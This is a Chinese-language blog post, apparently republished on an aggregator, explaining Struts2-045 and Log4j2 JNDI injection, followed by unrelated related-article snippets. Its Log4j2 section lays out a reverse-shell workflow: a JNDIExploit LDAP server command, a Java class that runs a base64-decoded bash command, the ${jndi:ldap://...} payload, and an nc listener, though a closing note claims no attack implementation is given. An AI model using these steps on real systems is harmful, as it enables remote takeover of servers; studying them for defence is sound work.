【HW系列】—web組件漏洞(Strtus2和Apache Log4j2)

本文僅用于技術研究,禁止用于非法用途。

文章目錄

  • Struts2
    • Struts2 框架介紹
    • Struts2 歷史漏洞匯總(表格)
    • Struts2-045 漏洞詳解
  • Log4j2
    • Log4j2 框架介紹
    • Log4j2 漏洞原理
        • 1. JNDI 注入
        • 2. 利用過程
    • Log4j2 歷史漏洞
    • JNDI+LDAP 反彈 Shell 流程

Struts2

Struts2 框架介紹

Apache Struts2 是一個基于 MVC 設計模式的開源 Web 應用框架,廣泛應用于企業級開發。其核心特點包括:

  • 靈活的請求處理:通過攔截器機制動態處理用戶請求,支持 RESTful API。
  • 擴展性強:支持插件機制(如文件上傳、JSON 解析)。
  • 安全風險:歷史版本因設計缺陷(如輸入驗證缺失、危險函數濫用)多次曝出高危漏洞。

Struts2 歷史漏洞匯總(表格)

注:更多漏洞可參考 Apache Struts2 官方安全公告。


Struts2-045 漏洞詳解

1. 簡介
Struts2-045(CVE-2017-5638)是 Apache Struts2 框架的高危 遠程代碼執行漏洞,因 Jakarta 文件上傳插件對 Content-Type 頭未嚴格校驗,攻擊者可構造惡意 HTTP 請求頭注入 OGNL 表達式,導致目標服務器執行任意命令。
2. 影響范圍

  • 受影響版本:
    • Struts 2.3.5–2.3.31
    • Struts 2.5–2.5.10
  • 典型場景:使用 Struts2 框架的文件上傳功能且未升級補丁的 Web 應用。

Log4j2

Log4j2 框架介紹

Apache Log4j2 是 Java 生態中廣泛使用的 日志記錄庫,支持動態配置、多輸出源(文件、控制臺、數據庫等)和日志級別管理。其核心功能包括:

  • 高性能異步日志:適用于高并發場景。
  • 插件化架構:支持自定義 Appender、Filter 等組件。

Log4j2 漏洞原理

1. JNDI 注入
  • 核心機制:Log4j2 的 Lookup 功能允許通過 ${jndi:ldap://attacker.com/exp} 解析動態內容。
  • 漏洞觸發:當應用程序記錄包含惡意 JNDI 表達式的日志時,Log4j2 會通過 JNDI 協議(LDAP/RMI)請求遠程資源,加載并執行攻擊者部署的惡意類文件。
2. 利用過程
  1. 構造惡意請求:攻擊者發送包含 ${jndi:ldap://惡意服務器/exp} 的日志內容(如 HTTP 請求頭)。
  2. 觸發解析:Log4j2 解析該內容,向 LDAP/RMI 服務器發起請求。
  3. 加載惡意類:惡意服務器返回指向遠程 HTTP 服務的 Reference 對象,客戶端下載并執行惡意類文件。

Log4j2 歷史漏洞

在這里插入圖片描述


JNDI+LDAP 反彈 Shell 流程

  1. 搭建惡意 LDAP 服務器:
    • 使用工具(如 JNDIExploit)啟動 LDAP 服務,并綁定指向惡意類的 URL。
java -jar JNDIExploit-1.2.jar -i 攻擊者IP -p 1389  
  1. 生成惡意類文件:
    • 編寫包含反彈 Shell 代碼的 Java 類(如 Exploit.java),編譯后托管在 HTTP 服務器。
public class Exploit {  static {  try {  Runtime.getRuntime().exec("bash -c {echo,base64編碼的Shell命令} | base64 -d | bash");  } catch (Exception e) {}  }  
}  
  1. 構造 Payload:
    • 發送包含 ${jndi:ldap://攻擊者IP:1389/Exploit} 的請求至目標應用。
  2. 觸發漏洞:
    • 目標服務器解析 Payload,從 LDAP 服務器獲取惡意類地址并加載執行,反彈 Shell 至攻擊者監聽端口。
  3. 接收 Shell:
nc -lvnp 監聽端口  

防御建議:

  • 升級 Log4j2 至 2.17.0+,禁用 JNDI Lookup 功能。
  • 配置網絡防火墻限制外連請求,使用 WAF 攔截惡意特征。

注:本文遵循CSDN社區內容規范,不涉及具體攻擊實現,重點探討防御方法論。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/84983.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/84983.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/84983.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

《深度關系-從建立關系到彼此信任》

陳海賢老師推薦的書,花了幾個小時,感覺現在的人與人之間特別缺乏這種深度的關系,但是與一個人建立深度的關系并沒有那么簡單,反正至今為止,自己好像沒有與任何一個人建立了這種深度的關系,那種雙方高度同頻…

sass基礎語法

Sass(Syntactically Awesome Style Sheets)是一種 CSS 預處理器,提供了比原生 CSS 更強大、更靈活的語法功能。它有兩種語法格式: Sass(縮進語法,.sass 文件)SCSS(CSS-like 語法&am…

【JavaWeb】基本概念、web服務器、Tomcat、HTTP協議

目錄 1. 基本概念1.1 基本概念1.2 web應用程序1.3 靜態web1.4 動態web 2. web服務器3. tomcat詳解3.1 安裝3.2 啟動3.3 配置3.3.1 配置啟動的端口號3.3.2 配置主機的名稱3.3.3 其他常用配置項日志配置數據源配置安全配置 3.4 發布一個網站 4. Http協議4.1 什么是http4.2 http的…

AI in Game,大模型能力與實時音視頻技術融合,交出AI應用新答卷

隨著AI的技術進步和工具普及,尤其是在這兩年的躍進之后,AI在游戲行業內的應用已經逐步由理念設想推向落地實踐。從蔡浩宇披露的AI新游《Whispers From The Star》到GDC上各大廠家呈現的游戲AI新亮點,我們看到了更多AI與游戲的結合方式&#x…

Android Studio 2022.2.1.20 漢化教程

查看Android Studio 版本 Android Studio Flamingo | 2022.2.1 Patch 2 下載:https://plugins.jetbrains.com/plugin/13710-chinese-simplified-language-pack----/versions/stable

常見的分詞算法

常見的分詞方法分類如下: 類型名稱說明優缺點1?? 基于空格/標點Word-level以空格或標點劃分,如 "Hello, world!" → ["Hello", ",", "world", "!"]?簡單,?無法處理新詞,詞…

湖北理元理律師事務所觀察:債務優化如何成為民生安全網

據央行2023年報告,中國家庭債務收入比達137.8%。面對債務高壓,湖北理元理律師事務所的實踐揭示:專業債務規劃的價值不僅是減負數字,更是構建社會穩定的微觀防線。 一、從“催收恐懼”到“主動管理”的轉變 該所服務數據顯示&…

服務器密碼安全運維解決新思路:憑據管理SMS+雙因素SLA認證結合的方案

引言:云服務器安全成本困局 在云計算滲透率突破60%的今天,中小企業正面臨嚴峻的安全悖論:某權威機構數據顯示,72%的云上數據泄露事件源于憑據管理不當,而傳統安全解決方案的采購成本往往超過中小企業年利潤的8%。這種…

Vision Transformer網絡結構

0.前言 參考CSDN大佬(太陽花的小綠豆)的代碼,梳理了一下vit的網絡結構,代碼地址如下: deep-learning-for-image-processing/pytorch_classification/vision_transformer at master WZMIAOMIAO/deep-learning-for-image-processing GitHub …

C++ 圖像處理庫 CxImage 簡介 (遷移至OpenCV)

文章目錄 核心功能特點局限性與替代方案常用方法構造函數從數組創建圖像訪問屬性訪問像素點Windows平臺支持 常用方法遷移至OpenCV CxImage 是一款功能強大的圖像處理類庫,主要用于 Windows 平臺的圖像處理任務。它支持多種圖像格式的加載、保存、編輯及特效處理&am…

【博客系統】博客系統第十一彈:從零開始在 Linux 系統上搭建 Java 部署環境并部署 Web 項目

搭建 Java 部署環境 JDK 1. 更新軟件包 apt 命令詳細介紹 sudo apt-get update2. 安裝 OpenJDK 查找 JDK 包 apt list | grep "jdk"安裝 JDK sudo apt install openjdk-17-jdk注意: 此處安裝的是 OpenJDK,OpenJDK 是一個開源版本的 JDK&am…

智能外呼系統中 NLP 意圖理解的工作原理與技術實現

智能外呼系統通過整合語音識別(ASR)、自然語言處理(NLP)和語音合成(TTS)等技術,實現了自動化的電話交互。其中,NLP 意圖理解是核心模塊,負責解析用戶話語中的語義和意圖&…

Sigma-Aldrich胰蛋白酶細胞解離方案速覽

Sigma-Aldrich_胰蛋白酶用于細胞培養 細胞解離是細胞傳代過程中的一個步驟,即細胞從預處理表面分離,形成懸浮液。這些懸浮液對于傳代培養重新接種、細胞計數分析和細胞增殖非常重要。有多種蛋白水解酶可用來從粘附基質上脫離細胞,胰蛋白酶就…

寶塔安裝WordPress程序

寶塔安裝WordPress程序 一、提前準備1,下載WordPress2,在寶塔創建站點 二、部署項目1,上傳下載的wordpress壓縮包至創建的項目根目錄下并解壓 三、wordpress安裝1,在瀏覽器打開創建的網站2,開始按照流程安裝配置數據庫…

【LangChain】框架解析

目錄 🌟 前言🏗? 技術背景與價值🩹 當前技術痛點🛠? 解決方案概述👥 目標讀者說明 🧠 一、技術原理剖析📊 核心架構圖解💡 核心作用講解🔧 關鍵技術模塊說明?? 技術選…

百度之星2024 初賽第一場 補給

百度之星2024 初賽第一場 補給 題干描述問題分析:C代碼Java代碼:Python代碼補充說明: 題干描述 參考自馬蹄集OJ,原文鏈接1 可怕的戰爭發生了,小度作為后勤保障工作人員,也要為了保衛國家而努力。 現在有 …

JavaScripts console.log和console.dir區別

console.log 和 console.dir 都是 JavaScript 中用于在瀏覽器控制臺打印信息的方法 ,二者主要有以下區別: 輸出內容和格式 console.log:主要用于輸出簡單的日志信息,直接打印數據的字符串表示 。對于對象、數組等引用類型&#…

uniapp 開發企業微信小程序時,如何在當前頁面真正銷毀前或者關閉小程序前調用一個api接口

在 UniApp 開發企業微信小程序時,若需在頁面銷毀或小程序關閉前調用 API 接口,需結合頁面生命周期和應用生命周期實現。以下是具體實現方案及注意事項: 一、在頁面銷毀前調用 API(頁面級) 通過頁面生命周期鉤子 onUnl…

聊聊 Metasploit 免殺

各位小伙伴們,晚上好! 咱們今天打開宵夜“安全食材箱”,聊聊滲透測試繞過殺毒(免殺)的那些門道。你可以把免殺理解為——深夜做宵夜時,家里有人睡覺,但你非得去廚房整點美食,還不能…